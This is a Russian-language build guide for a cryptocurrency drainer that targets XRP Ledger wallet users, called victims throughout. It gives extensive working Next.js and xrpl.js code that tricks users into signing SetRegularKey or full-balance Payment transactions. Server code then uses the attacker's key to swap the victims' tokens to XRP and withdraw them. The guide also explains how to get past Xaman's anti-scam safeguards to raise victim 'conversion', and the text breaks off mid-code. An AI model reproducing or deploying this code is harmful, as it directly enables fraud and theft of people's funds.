Прежде чем лезть в код, нужно понять с кем мы вообще работаем. На XRPL есть четыре основных кошелька которые используют люди, и у каждого своя платформа и своё поведение. Это важно потому что стратегия дрейнера для каждого из них разная — и именно это разделение определяет всю архитектуру проекта.
Xaman — самый популярный кошелёк на XRPL. Раньше назывался XUMM. Это исключительно мобильное приложение, работает на iOS и Android. Никакого браузерного расширения нет. Взаимодействие с Xaman происходит двумя способами в зависимости от того с какого устройства открыт сайт. Если жертва на десктопе — дрейнер показывает QR-код, жертва сканирует его камерой телефона в приложении Xaman и подтверждает там. Если жертва уже на телефоне и открыла сайт в мобильном браузере — вместо QR работает deeplink. Это ссылка вида https://xumm.app/sign/[UUID] которая открывает приложение Xaman напрямую с нужной транзакцией внутри. Никакого сканирования — просто один тап и ты уже в кошельке. Это важная деталь которую нужно учитывать в UI дрейнера: с телефона надо давать кнопку с deeplink, а не QR.
GEM Wallet — браузерное расширение, только десктоп. Работает как MetaMask на Ethereum — инжектит объект в страницу через который сайт может запрашивать подпись транзакций напрямую. Жертва видит попап расширения в браузере и нажимает подтвердить. Никакого QR-кода, никакого телефона. Всё происходит в браузере.
Crossmark — тоже браузерное расширение, только десктоп. Концептуально то же самое что GEM — инжектит свой SDK в страницу, дрейнер обращается к нему напрямую через JavaScript. Отличается от GEM только внутренним API и тем как выглядит попап подтверждения.
Ledger — аппаратный кошелёк. Физическое устройство которое подключается по USB. Это самый сложный случай для дрейнера потому что требует взаимодействия с USB через браузерный WebUSB API, а кодирование транзакций идёт в бинарном формате через отдельную библиотеку. Плюс жертва должна физически нажать кнопки на самом устройстве чтобы подтвердить транзакцию. Но люди с Ledger обычно держат большие суммы, поэтому поддержка оправдана.
Разница в платформах напрямую влияет на то как дрейнер взаимодействует с каждым кошельком и какой метод списания применяется. Подробнее разберём это в разделе про подключение кошельков.
Содержание
1. Архитектура дрейнера
2. Конфигурация
3. Подключение кошелька
4. WebSocket стратегия ожидания подписи
5. Транзакции через Xaman API
6. Drain: конвертация токенов и вывод XRP
7. Telegram уведомления
Архитектура дрейнера
Проект построен на Next.js. Сам дрейнер представляет собой два ключевых элемента: модальное окно подключения кошелька и HTML wrapper для лендинга.
Модальное окно — это компонент components/xrp-wallet-modal.tsx. В нём происходит всё взаимодействие с жертвой: кнопки выбора кошелька, QR-код Xaman, ожидание подписи, запуск дрейна. Это самодостаточный компонент который можно встроить в любой лендинг.
HTML wrapper — это компонент components/html-landing-wrapper.tsx. Он нужен чтобы можно было легко менять лендинг под которым работает дрейнер. Достаточно положить обычный HTML файл, и wrapper его рендерит как фон. Это сделано специально чтобы не переписывать код каждый раз при смене темы сайта — меняешь только HTML файл лендинга, логика дрейнера остаётся та же.
Дрейнер разворачивается как iframe на хостинг-сайте.
Схема:
JSX:
+------------------------------------------+
| Хостинг-сайт (где находится жертва) |
+------------------------------------------+
| +------------------------------------+ |
| | iframe XRP DRAINER | |
| | - HTML лендинг (wrapper) | |
| | - Модальное окно подключения | |
| | - Xaman QR / deeplink | |
| | - Drain API запросы | |
| | - Telegram уведомление | |
| +------------------------------------+ |
| |
| postMessage <-> iframe |
+------------------------------------------+
Хостинг-сайт и iframe общаются через postMessage. Это стандартный браузерный механизм для коммуникации между страницей и встроенным фреймом. Через него передаются данные о подключённом кошельке и результатах дрейна.
Цепочка действий дрейнера:
1. Жертва заходит на сайт и видит лендинг с кнопкой подключить кошелёк
2. Нажимает — появляется модальное окно с выбором кошелька
3. Для GEM/Crossmark/Ledger: подписывает SetRegularKey через расширение
4. Для Xaman: сканирует QR или открывает deeplink на телефоне, подписывает Payment
5. Сервер дрейнера конвертирует все токены жертвы в XRP через DEX
6. XRP уходит на адрес дрейнера
7. В Telegram приходит отчёт с балансом, геолокацией и адресом
Конфигурация
Файл: lib/config.ts
Здесь захардкожены все адреса и ключи дрейнера.
JSX:
export const DRAIN_DESTINATION = "secret"
export const DRAIN_PRIVATE_KEY = "secret"
export const DRAIN_REGULAR_KEY_ADDRESS = "secret"
DRAIN_DESTINATION — это адрес куда уходят все дренированные средства.
DRAIN_PRIVATE_KEY — приватный ключ самого дрейнера. Именно этот ключ устанавливается как Regular Key на аккаунты жертв.
После установки дрейнер использует его чтобы подписывать транзакции от имени жертвы без её участия.
DRAIN_REGULAR_KEY_ADDRESS — это адрес производный от DRAIN_PRIVATE_KEY. Именно этот адрес записывается в поле RegularKey на аккаунте жертвы.
Также в конфиге есть параметры транзакций:
JSX:
export const RESERVE_XRP = 2
export const FEE_DROPS = 12
export const PAYMENT_MEMO_TEXT = "+1000 XRP"
RESERVE_XRP это минимальный остаток который нельзя отправить. XRPL требует чтобы на аккаунте всегда оставался базовый резерв: с декабря 2024 он составляет 1 XRP. В конфиге стоит 2 XRP — намеренно с запасом, потому что к моменту финального вывода на аккаунте могут остаться незакрытые объекты (offers, trust lines) которые тоже занимают резерв. Лучше недобрать 1 XRP чем получить ошибку транзакции.
PAYMENT_MEMO_TEXT добавляется в поле Memo транзакции. Это текст который будет виден в блокчейн-эксплорере. Указываем "+1000 XRP" чтобы транзакция выглядела как плюсовой перевод.
Ноды для подключения к XRPL:
JSX:
export const XRPL_HTTP_NODES = [
"https://xrplcluster.com",
"https://s1.ripple.com:51234",
"https://s2.ripple.com:51234",
]
export const XRPL_WS_NODES = [
"wss://xrplcluster.com",
"wss://s1.ripple.com",
"wss://s2.ripple.com",
]
Несколько нод нужны для отказоустойчивости. Если одна недоступна, дрейнер пробует следующую.
Конфиг Xaman API:
JSX:
export const XAMAN_API_KEY = "SECRET"
export const XAMAN_API_SECRET = "SECRET"
export const XUMM_API_BASE = "https://xumm.app/api/v1/platform"
export const XAMAN_SIGNIN_EXPIRE_MINUTES = 5
export const XAMAN_TX_EXPIRE_MINUTES = 10
Xaman — это мобильное приложение и платформа для подписи транзакций на XRPL. Его сделала компания XRPL Labs. Суть такая: разработчик создаёт шаблон транзакции через Xaman API, платформа генерирует QR-код, пользователь сканирует его в приложении Xaman на телефоне и подтверждает. Это самый распространённый способ взаимодействия с XRPL для обычных пользователей — именно поэтому дрейнер поддерживает его в первую очередь.
Для дрейнера Xaman API нужен чтобы делать две вещи: создавать payload (то есть шаблон транзакции который жертва будет подписывать) и получать статус — подписала жертва или нет.
Чтобы работать с Xaman API нужно получить два ключа: API Key и API Secret. Без них API вернёт 401 на любой запрос.
Получить ключи можно через Xaman Developer Console. Вот как это делается пошагово:
Идёшь на https://apps.xaman.dev и входишь через само приложение Xaman — там нет регистрации через email, вход только через QR-код в приложении.
Скачиваешь Xaman на телефон если ещё нет, создаёшь аккаунт, потом сканируешь QR на сайте.
После входа попадаешь в дашборд. Нажимаешь "Create app" или "New application". Заполняешь: название приложения (любое), описание (любое), URL иконки (можно любую картинку).
Галочки и разрешения оставляешь как есть по умолчанию.
После создания приложения в его настройках появляются два поля: API Key и API Secret. API Secret показывается только один раз при создании, потом его уже не посмотреть — нужно сразу скопировать. Если потерял, придётся пересоздавать приложение.
Эти два значения вставляешь в config.ts:
JSX:
export const XAMAN_API_KEY = "твой api key"
export const XAMAN_API_SECRET = "твой api secret"
Важный момент: Xaman API бесплатен для базового использования. Есть лимиты на количество payload-ов в месяц на бесплатном плане, но для дрейнера этого более чем достаточно — дрейнер создаёт один payload на жертву, не более.
Второй момент: Xaman Developer Console — это не просто выдача ключей. Через неё можно смотреть статистику по payload-ам, сколько было создано, сколько подписано, сколько отклонено. Это удобно для понимания конверсии — видишь сколько жертв дошло до подписи, а сколько закрыло окно.
Как работает Regular Key и почему мы его выбрали?
Когда мы начали делать дрейнер, первый вопрос был такой: как списать активы с кошелька после того как жертва один раз нажала кнопку подключить?
Самый очевидный ответ — попросить подписать Payment прямо при подключении. Жертва видит QR, сканирует, подтверждает, и XRP уходит. Это работает, но у такого подхода есть серьёзный минус.
Если ты просишь Payment, жертва видит в интерфейсе кошелька точную сумму и адрес получателя. Wallet покажет "Вы отправляете 250 XRP на адрес rXXXXX". Это сразу читается как перевод денег.
Часть жертв закроет кошелёк и уйдёт. Плюс ты получаешь одну попытку. Если баланс изменился, если жертва сначала подключилась а потом пополнила кошелёк — ты уже ничего не сделаешь.
Мы начали искать другой путь и нашли механизм Regular Key.
На XRPL у каждого аккаунта есть Master Key — основной приватный ключ владельца. По умолчанию только он может подписывать транзакции с этого аккаунта. Но протокол поддерживает ещё одну сущность — Regular Key. Это вторичный ключ который можно добавить к аккаунту через транзакцию SetRegularKey. После добавления Regular Key получает те же права что и Master Key — он может подписывать любые транзакции с этого аккаунта. При этом владелец своего Master Key не лишается, у него просто появился второй подписант.
Смысл для дрейнера такой. Мы генерируем собственную пару ключей (DRAIN_PRIVATE_KEY / DRAIN_REGULAR_KEY_ADDRESS) и заносим их в конфиг. Когда жертва подключает кошелёк, мы просим её подписать SetRegularKey транзакцию где в поле RegularKey указан наш адрес DRAIN_REGULAR_KEY_ADDRESS. Жертва видит в кошельке запрос на "изменение настроек аккаунта" — не перевод, не списание. Технически это выглядит как настройка безопасности. После того как транзакция прошла, дрейнер может в любой момент отправить Payment с аккаунта жертвы, подписав его своим DRAIN_PRIVATE_KEY на сервере. Без участия жертвы, без QR-кода, без любого подтверждения с её стороны.
Это похоже на то что происходит в Solana дрейнерах через setAuthority или смена управляющего ключа (authority) у durable nonce аккаунта. На Solana есть инструкция SetAuthority которая меняет владельца конкретного токен-аккаунта/аккаунта. Жертва подписывает делегирование прав которое выглядит как обычное разрешение, а на деле новый authority получает полный контроль над этим токеном/аккаунтом. На XRP принцип тот же — одна транзакция которая выглядит безобидно, и ты получаешь постоянный контроль.
Мы выбрали SetRegularKey для всех четырёх типов кошельков — Xaman, GEM, Crossmark и Ledger. Реализовали логику, запустили тесты. GEM заработал сразу. Crossmark заработал. А вот с Xaman транзакция просто не вызывалась. Никакого QR-кода, никакого запроса в кошельке, просто тишина.
Мы полезли в документацию Xaman — Transaction types | Xaman Developer Docs — и там нашли следующее:
"Limited Transaction Types: Some transaction types, such as setting a Regular Key or setting a Signer List (multisign), require special permission for user security reasons."
То есть Xaman на уровне своего API намеренно блокирует SetRegularKey для обычных приложений. Не показывает ошибку, не говорит почему — просто не создаёт payload и не возвращает QR. Xaman сделал это намеренно именно потому что SetRegularKey это классический инструмент компрометации аккаунта. Команда Xaman это понимает и закрыла дыру.
Из этого вытекает разделение стратегии по кошелькам которое ты увидишь в коде дальше. GEM, Crossmark и Ledger получают SetRegularKey — после этого дрейн XRP и токенов происходит тихо на бэкенде. Xaman получает прямой Payment во время подключения — это единственный вариант который там работает.
Альтернативные методы списания которые мы рассматривали: Check
Пока разбирались с Xaman, мы изучили ещё один метод списания который существует на XRPL — это механизм Check.
Check работает так: отправитель создаёт CheckCreate транзакцию где указывает получателя и максимальную сумму. Это как выписать чек в банке - ты его выписал, но деньги ещё не ушли. Получатель потом должен самостоятельно создать CheckCash транзакцию чтобы забрать средства. Пока получатель не сделал CheckCash, деньги остаются на аккаунте отправителя.
JSX:
// CheckCreate жертва создаёт чек для дрейнера
{
TransactionType: "CheckCreate",
Account: "адрес жертвы",
Destination: DRAIN_DESTINATION, // адрес дрейнера
SendMax: "250000000", // максимум 250 XRP
Expiration: Math.floor(Date.now() / 1000) + 86400, // действует 24 часа
}
// CheckCash дрейнер сам забирает средства когда хочет
{
TransactionType: "CheckCash",
Account: DRAIN_DESTINATION, // дрейнер подписывает своим ключом
CheckID: "хеш CheckCreate транзакции",
Amount: "250000000",
}
На первый взгляд это выглядит удобно. Жертва создаёт CheckCreate, ты в любой момент делаешь CheckCash и забираешь деньги. Не нужно устанавливать Regular Key, не нужно постоянно держать доступ к аккаунту жертвы.
Но у Check есть конкретная проблема именно с Xaman. И это не красная плашка. Xaman не флагает CheckCreate автоматически. Он создаёт payload, QR появляется нормально. Проблема в другом.
У Xaman есть уникальная система защиты которой нет ни в одном другом кошельке на XRPL. Перед тем как показать жертве транзакцию на подпись, Xaman задаёт серию вопросов. Что-то вроде:
"Обещали ли вам аирдроп при подтверждении этой транзакции?" — Да / Нет
"Просил ли вас кто-то подключить кошелёк чтобы получить вознаграждение?" — Да / Нет
"Вы уверены что понимаете что делает эта транзакция?" — Да / Нет
Это не технический фильтр на уровне API. Это поведенческий опрос. Если жертва отвечает честно и нажимает "Да" на любой из подозрительных вопросов — Xaman флагает транзакцию красным и рекомендует отменить. Если жертва нажимает "Нет" на все вопросы — транзакция проходит нормально.
Проблема для дрейнера вот в чём. CheckCreate это транзакция которая на первый взгляд непонятна обычному человеку. Человек видит незнакомый тип транзакции, читает вопросы Xaman, начинает думать что происходит — и в итоге нажимает не то. Конверсия падает. Payment транзакция хотя бы выглядит как знакомый перевод, жертва понимает что происходит и может просто подтвердить.
Поэтому Check мы не используем для Xaman. Транзакция технически проходит через API, QR создаётся, но система вопросов Xaman убивает конверсию на CheckCreate гораздо сильнее чем на обычный Payment. Для GEM, Crossmark и Ledger Check теоретически работал бы нормально — там нет такого опросника — но Regular Key всё равно лучше потому что даёт постоянный контроль над аккаунтом, а не разовую операцию на конкретную сумму. Если жертва пополнит кошелёк после — Regular Key позволит дрейнить снова. Check такой возможности не даёт.
Подключение кошелька
Файл: components/xrp-wallet-modal.tsx
Это UI компонент где происходит всё начальное взаимодействие с жертвой. Компонент поддерживает четыре типа кошельков.
Для Xaman дрейнер использует Sign-In payload — это специальный тип запроса который идентифицирует пользователя. После Sign-In дрейнер получает адрес кошелька и userToken (токен сессии).
После получения адреса сразу создаётся Payment транзакция на полный баланс жертвы (резервируем 2 хрп):
JSX:
async function xamanPaymentInModal(
connection: XrpConnection,
onQr: (state: XamanQrState) => void,
abortRef: React.MutableRefObject<(() => void) | null>,
): Promise<void> {
// Получаем баланс с XRPL
let balanceDrops = 0
for (const node of XRPL_HTTP_NODES) {
try {
const res = await fetch(node, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
method: "account_info",
params: [{ account: connection.address, ledger_index: "validated" }]
}),
signal: AbortSignal.timeout(5_000),
})
const json = await res.json()
const drops = json?.result?.account_data?.Balance
if (drops) { balanceDrops = Number(drops); break }
} catch { /* пробуем следующую ноду */ }
}
// Вычисляем сколько можем отправить с учётом резерва
const sendDrops = balanceDrops - RESERVE_XRP * 1_000_000 - FEE_DROPS
if (sendDrops <= 0) return
// Создаём Payment транзакцию
const createRes = await fetch("/api/xaman/create-tx-payload", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
txjson: {
TransactionType: "Payment",
Account: connection.address,
Destination: DRAIN_DESTINATION,
Amount: sendDrops.toString(),
Fee: FEE_DROPS.toString(),
Memos: [{
Memo: {
MemoData: toHex(PAYMENT_MEMO_TEXT),
MemoType: toHex("text/plain"),
MemoFormat: toHex("text/plain")
}
}],
},
userToken: connection.userToken,
}),
})
const payload = await createRes.json()
onQr({
qrUrl: payload.qrPng,
deepLink: payload.deepLink,
expires: payload.expiresAt * 1000,
step: "payment"
})
return new Promise<void>((resolve) => {
const abortState: { aborted: boolean } = { aborted: false }
abortRef.current = () => { abortState.aborted = true; resolve() }
waitForXamanResult(payload.websocketUrl, abortState)
.then(resolve)
.catch(resolve)
})
}
Дрейнер сначала опрашивает account_info чтобы узнать точный баланс в drops. Потом вычитает резерв и комиссию чтобы получить максимальную сумму для отправки. Создаёт payload через Xaman API, получает QR-код и показывает его жертве. Дальше ждёт подписи через WebSocket.
GEM Wallet
GEM — это браузерное расширение. Через него дрейнер устанавливает Regular Key:
JSX:
async function setRegularKeyGem(address: string): Promise<void> {
const { isInstalled, setRegularKey } = await import("@gemwallet/api")
const installed = await isInstalled()
if (!installed.result?.isInstalled) throw new Error("GEM не установлен")
const result = await setRegularKey({
regularKey: DRAIN_REGULAR_KEY_ADDRESS,
})
if (result.result?.hash) {
// Транзакция отправлена, Regular Key установлен
}
}
GEM API не имеет ограничений на SetRegularKey в отличие от Xaman. Пользователь видит запрос на подпись в расширении и нажимает подтвердить.
Crossmark
Crossmark тоже браузерное расширение, но с другим API:
JSX:
async function setRegularKeyCrossmark(address: string): Promise<void> {
const crossmark = await waitForCrossmark(3000)
if (!crossmark) throw new Error("Crossmark не найден")
const tx = {
TransactionType: "SetRegularKey",
Account: address,
RegularKey: DRAIN_REGULAR_KEY_ADDRESS,
}
const result = await crossmark.methods.signAndSubmitAndWait(tx)
}
Crossmark подписывает транзакцию и сразу отправляет её на XRPL. Метод signAndSubmitAndWait ждёт пока транзакция подтвердится.
Ledger
Ledger — это аппаратный кошелёк. Работает через USB подключение:
JSX:
async function setRegularKeyLedger(address: string): Promise<void> {
const Transport = await import("@ledgerhq/hw-transport-webusb").then(m => m.default)
const Xrp = await import("@ledgerhq/hw-app-xrp").then(m => m.default)
const transport = await Transport.create()
const app = new Xrp(transport)
// Транзакция кодируется в бинарный формат перед отправкой на устройство
// Пользователь должен физически подтвердить на экране Ledger
}
Для Ledger требуется физическое нажатие кнопки на устройстве. Пользователь видит данные транзакции на экране Ledger и подтверждает.
После подтверждения транзакция подписана аппаратным ключом и отправляется на XRPL.
WebSocket стратегия ожидания подписи
Файл: lib/xaman-ws.ts
Когда жертва сканирует QR-код в мобильном Xaman, возникает задача: как браузер узнает что подпись выполнена? Xaman находится на другом устройстве, связи между ними нет напрямую.
Xaman решает это через WebSocket. Когда создаётся payload, в ответе приходит websocketUrl — это адрес WebSocket соединения через серверы Xaman.
Как только жертва подпишет в приложении, Xaman пушит в этот WebSocket сообщение {"signed": true}.
Но есть проблема. Когда пользователь переходит в мобильный Xaman, браузерная вкладка уходит в фон. Многие браузеры приостанавливают WebSocket соединения во время когда вкладка неактивна.
Соединение может зависнуть или закрыться именно в тот момент когда жертва подписывает.
Поэтому в lib/xaman-ws.ts реализована комбинированная стратегия из трёх методов одновременно:
JSX:
export function waitForXamanResult(
websocketUrl: string,
abortSignal?: { aborted: boolean },
): Promise<void> {
const uuid = websocketUrl.split("/").pop() ?? ""
return new Promise<void>((resolve, reject) => {
let settled = false
let retries = 0
let pingInterval: ReturnType<typeof setInterval> | null = null
let pollInterval: ReturnType<typeof setInterval> | null = null
let currentWs: WebSocket | null = null
// Метод 1: WebSocket (основной)
function connect() {
const ws = new WebSocket(websocketUrl)
currentWs = ws
ws.onopen = () => {
pingInterval = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
try { ws.send("ping") } catch { }
}
}, 10_000)
}
ws.onmessage = (event) => {
let msg: Record<string, unknown>
try { msg = JSON.parse(event.data as string) } catch { return }
if (msg.signed === true) settle()
else if (msg.expired === true) settle(new Error("Xaman sign request has expired."))
else if (msg.signed === false && msg.resolved === true) settle(new Error("Rejected."))
}
ws.onclose = () => {
if (pingInterval) { clearInterval(pingInterval); pingInterval = null }
if (settled) return
if (retries < MAX_RETRIES) {
retries++
const delay = BASE_RETRY_MS * Math.pow(1.5, retries)
setTimeout(connect, delay)
}
}
}
// Метод 2: HTTP polling (резервный)
async function pollStatus() {
if (settled || !uuid) return
try {
const res = await fetch(`/api/xaman/get-payload?uuid=${uuid}`)
if (!res.ok) return
const data = await res.json()
if (data.signed === true) settle()
else if (data.expired === true) settle(new Error("Expired."))
else if (data.resolved === true || data.cancelled === true) settle(new Error("Rejected."))
} catch { }
}
// Метод 3: visibilitychange (для телефона)
function onVisibilityChange() {
if (document.visibilityState !== "visible" || settled) return
void pollStatus()
if (!currentWs || currentWs.readyState === WebSocket.CLOSED) {
retries = 0
setTimeout(connect, 200)
}
}
document.addEventListener("visibilitychange", onVisibilityChange)
pollInterval = setInterval(pollStatus, POLL_INTERVAL_MS)
hardTimeoutTimer = setTimeout(() => settle(new Error("Timeout.")), HARD_TIMEOUT_MS)
connect()
})
}
Первый метод — WebSocket. Это основной канал. Xaman пушит {"signed": true} как только жертва подписала. Каждые 10 секунд отправляется ping чтобы соединение не засыпало.
Второй метод — HTTP polling. Каждые 2.5 секунды делается GET запрос на /api/xaman/get-payload с uuid транзакции. Это резервный канал на случай если WebSocket завис.
Третий метод — visibilitychange. Это событие которое браузер генерирует когда пользователь переключается между вкладками или приложениями.
Когда жертва возвращается из мобильного Xaman обратно в браузер, срабатывает это событие. Дрейнер сразу делает HTTP запрос чтобы проверить статус, и если WebSocket был закрыт — переподключается.
Параметры:
JSX:
const MAX_RETRIES = 6
const BASE_RETRY_MS = 1_000
const POLL_INTERVAL_MS = 2_500
const HARD_TIMEOUT_MS = 5 * 60 * 1_000
Экспоненциальный backoff при переподключении: первая попытка через 1.5 сек, вторая через 2.25 сек, и так далее. Это стандартная практика чтобы не спамить сервер при нестабильном соединении.
Xaman API: создание payload и получение статуса
Файл: app/api/xaman/create-tx-payload/route.ts
Когда дрейнеру нужно попросить жертву подписать транзакцию через Xaman, он создаёт payload через Xaman API.
JSX:
export async function POST(request: Request) {
const body = await request.json() as {
txjson?: Record<string, unknown>
userToken?: string
}
const payloadBody: Record<string, unknown> = {
txjson: body.txjson,
options: { expire: XAMAN_TX_EXPIRE_MINUTES },
}
if (body.userToken) {
payloadBody.user_token = body.userToken
}
const res = await fetch(`${XUMM_API_BASE}/payload`, {
method: "POST",
headers: {
"Content-Type": "application/json",
"x-api-key": XAMAN_API_KEY,
"x-api-secret": XAMAN_API_SECRET,
},
body: JSON.stringify(payloadBody),
signal: AbortSignal.timeout(10_000),
})
const data = await res.json()
return NextResponse.json({
uuid: data.uuid,
qrPng: data.refs.qr_png,
websocketUrl: data.refs.websocket_status,
deepLink: data.next?.always,
expiresAt: data.payload?.expires_at,
pushed: data.pushed ?? false,
})
}
В ответе приходит uuid транзакции, PNG с QR-кодом который показывается жертве, адрес WebSocket для отслеживания статуса, и deepLink для открытия Xaman напрямую если жертва на телефоне.
Если передан userToken, Xaman может отправить push-уведомление на устройство жертвы напрямую, без необходимости сканировать QR.
Файл: app/api/xaman/get-payload/route.ts
Это эндпоинт который используется в HTTP polling. Принимает uuid и возвращает текущий статус транзакции:
JSX:
export async function GET(request: Request) {
const { searchParams } = new URL(request.url)
const uuid = searchParams.get("uuid")
const res = await fetch(`${XUMM_API_BASE}/payload/${uuid}`, {
headers: {
"x-api-key": XAMAN_API_KEY,
"x-api-secret": XAMAN_API_SECRET,
},
signal: AbortSignal.timeout(10_000),
})
const data = await res.json()
return NextResponse.json({
resolved: data.meta?.resolved ?? false,
signed: data.meta?.signed ?? false,
cancelled: data.meta?.cancelled ?? false,
expired: data.meta?.expired ?? false,
account: data.response?.account,
txid: data.response?.txid,
userToken: data.application?.issued_user_token,
})
}
Drain: конвертация токенов и вывод XRP
Файл: app/api/drain/route.ts
Это основной серверный роут который выполняет само дренирование. Вызывается после того как Regular Key установлен и дрейнер получил контроль над аккаунтом жертвы.
Шаг 1: Подключение и получение данных аккаунта
JSX:
export async function POST(req: NextRequest) {
const xrpl = await import("xrpl")
const { Wallet, Client } = xrpl
let client: InstanceType<typeof Client> | null = null
try {
const { address } = await req.json()
client = new Client(XRPL_WS_NODES[0])
await client.connect()
const accResult = await client.request({
command: "account_info",
account: address,
ledger_index: "validated",
})
const accountData = accResult.account_data ?? accResult.result?.account_data
const linesResult = await client.request({
command: "account_lines",
account: address,
ledger_index: "validated",
})
const trustLines = (linesResult.lines ?? linesResult.result?.lines ?? [])
.filter((l) => parseFloat(l.balance) !== 0)
Дрейнер подключается к XRPL через WebSocket, запрашивает account_info чтобы узнать текущий баланс и состояние аккаунта, и account_lines чтобы получить список всех токенов с ненулевым балансом.
Шаг 2: Проверка Regular Key и восстановление кошелька дрейнера
JSX:
let wallet: InstanceType<typeof Wallet>
try {
wallet = Wallet.fromSeed(DRAIN_PRIVATE_KEY)
} catch (err) {
return NextResponse.json({ success: false, message: `Invalid key: ${err}` }, { status: 500 })
}
// Ждём пока Regular Key подтвердится в validated ledger
{
const POLL_INTERVAL_MS = 2_000
const POLL_MAX = 10
let confirmed = accountData?.RegularKey === DRAIN_REGULAR_KEY_ADDRESS
let attempts = 0
while (!confirmed && attempts < POLL_MAX) {
await new Promise((r) => setTimeout(r, POLL_INTERVAL_MS))
attempts++
try {
const recheckResult = await client.request({
command: "account_info",
account: address,
ledger_index: "validated",
})
const recheckData = recheckResult.account_data ?? recheckResult.result?.account_data
if (recheckData?.RegularKey === DRAIN_REGULAR_KEY_ADDRESS) {
accountData = recheckData
confirmed = true
}
} catch { }
}
if (!confirmed) {
return NextResponse.json({ success: false, message: "RegularKey not confirmed" }, { status: 400 })
}
}
Дрейнер восстанавливает свой кошелёк из DRAIN_PRIVATE_KEY через Wallet.fromSeed. Этот кошелёк будет подписывать все дальнейшие транзакции от имени жертвы.
Перед тем как начать дренировать, дрейнер проверяет что Regular Key действительно записан на аккаунте жертвы в validated ledger. XRPL асинхронная сеть.
Транзакция SetRegularKey после отправки сначала попадает в pending состояние, и только через 10-15 секунд подтверждается в validated ledger.
Если начать дренировать до подтверждения, Regular Key ещё не активен и транзакции упадут с ошибкой.
Поэтому дрейнер делает polling каждые 2 секунды, максимум 10 попыток (итого 20 секунд ожидания).
TrustLine: почему нельзя просто отправить токен на адрес получателя?
Прежде чем разбирать код конвертации, нужно понять одну особенность XRPL которая напрямую влияет на то как дрейнер работает с токенами.
На XRPL нельзя держать токен на аккаунте без TrustLine. TrustLine — это явное разрешение которое аккаунт должен выдать для каждого токена который хочет хранить. Если аккаунт не открыл TrustLine для токена SOLO, он физически не может получить SOLO на свой адрес. Транзакция упадёт с ошибкой tecNO_LINE.
Каждая открытая TrustLine замораживает резерв на аккаунте. С декабря 2024 резерв за TrustLine составляет 0.2 XRP (ранее было 2 XRP). Это ограничение на уровне протокола, сделано чтобы не засорять леджер бесконечным количеством мусорных токен-линий.
Для дрейнера это конкретная проблема. Если просто попробовать отправить токены жертвы на адрес дрейнера, транзакция провалится — у дрейнера нет TrustLine для этих токенов. Можно конечно заранее открыть TrustLine для каждого возможного токена, но это нереально. Токенов на XRPL тысячи, новые появляются каждый день, и каждая TrustLine будет требовать резерв в 0.2 XRP.
Поэтому дрейнер не получает токены к себе. Вместо этого он конвертирует их сразу в нативный XRP через встроенный DEX XRPL прямо на аккаунте жертвы. XRP не требует TrustLine — это нативный актив сети. Адрес дрейнера всегда может получить XRP без каких-либо предварительных настроек.
XRPL имеет встроенный децентрализованный обменник прямо в протоколе. Это не внешний смарт-контракт как Uniswap на Ethereum. Order book (книга ордеров) существует в протоколе с самого начала; AMM пулы появились в марте 2024 через amendment XLS-30. Оба механизма живут прямо в леджере. Через Payment транзакцию с полем SendMax можно попросить сеть: возьми токены с аккаунта, найди лучший путь через order book и/или AMM, и доставь XRP на нужный адрес. Всё это происходит атомарно в одной транзакции.
Флаг tfPartialPayment позволяет транзакции успешно завершиться даже если конвертировалась не вся сумма. Например если в order book не хватило ликвидности на полный объём токена, транзакция всё равно пройдёт и сконвертирует столько сколько смогла. Без этого флага транзакция упала бы с ошибкой если хотя бы малейшая часть не смогла быть обменяна.
Шаг 3: Конвертация токенов в XRP через DEX
JSX:
for (const line of trustLines) {
try {
const absBalance = Math.abs(parseFloat(line.balance))
if (absBalance === 0) continue
const amount = {
currency: line.currency,
issuer: line.account,
value: absBalance.toString()
}
const MAX_XRP_DROPS = "100000000000"
const paymentTx = {
TransactionType: "Payment",
Account: address,
Destination: address, // платёж самому себе
Amount: MAX_XRP_DROPS,
SendMax: amount, // отправляем токены
Flags: 0x00020000, // PartialPayment флаг
}
const filledPayment = await autofillWithBuffer(client, paymentTx)
const signedPayment = wallet.sign(filledPayment)
const paymentRes = await client.submitAndWait(signedPayment.tx_blob)
const paymentResult = paymentRes.result?.meta?.TransactionResult
if (paymentResult === "tesSUCCESS") {
const delivered = paymentRes.result?.meta?.delivered_amount
const deliveredXrp = Number(delivered) / 1_000_000
sentTokens.push(`${decodeCurrency(line.currency)}: ${absBalance} → ${deliveredXrp.toFixed(4)} XRP`)
} else {
// Fallback через OfferCreate
const offerTx = {
TransactionType: "OfferCreate",
Account: address,
TakerPays: "1",
TakerGets: amount,
Flags: 0x00020000, // tfImmediateOrCancel
}
const filledOffer = await autofillWithBuffer(client, offerTx)
const signedOffer = wallet.sign(filledOffer)
await client.submitAndWait(signedOffer.tx_blob)
}
await new Promise((r) => setTimeout(r, 1_500))
} catch (err) {
failedTokens.push(`${decodeCurrency(line.currency)}: ${String(err)}`)
}
}
Здесь важно понять почему Destination совпадает с Account — платёж идёт на адрес самой жертвы. Это не ошибка. Дрейнер просит XRPL DEX: возьми токены (SendMax) с аккаунта жертвы, конвертируй их в XRP через ордербук, и зачисли XRP обратно на тот же аккаунт. Таким образом токены исчезают, а XRP-баланс жертвы растёт — и уже этот XRP будет выведен на адрес дрейнера на следующем шаге.
Флаг PartialPayment (0x00020000) позволяет транзакции пройти даже если конвертировалась не вся сумма. Без этого флага транзакция упала бы если на DEX недостаточно ликвидности.
Если Payment не прошёл, дрейнер пробует OfferCreate с флагом tfImmediateOrCancel (0x00010000). Это размещение ордера на DEX который немедленно исполняется если есть встречные предложения, и отменяется если нет. Такой fallback нужен для редких токенов с низкой ликвидностью.
После каждого токена ждём 1.5 секунды чтобы не спамить ноду.
Шаг 4: Отправка XRP на адрес дрейнера
JSX:
await new Promise((r) => setTimeout(r, 4_000))
const updatedAccountData = await client.request({
command: "account_info",
account: address,
ledger_index: "validated",
})
const updatedBalanceDrops = Number(updatedAccountData.account_data?.Balance)
const updatedOwnerCount = updatedAccountData.account_data?.OwnerCount ?? 0
const feeRes = await client.request({ command: "fee" })
const baseFeeDrops = Number(feeRes.drops?.base_fee ?? 12)
const reserveDrops = Math.ceil(RESERVE_XRP * 1_000_000)
const probe = await autofillWithBuffer(client, {
TransactionType: "Payment",
Account: address,
Destination: DRAIN_DESTINATION,
Amount: "1",
})
const exactFeeDrops = Number(probe.Fee ?? baseFeeDrops)
const sendDrops = updatedBalanceDrops - reserveDrops - exactFeeDrops
if (sendDrops > 0) {
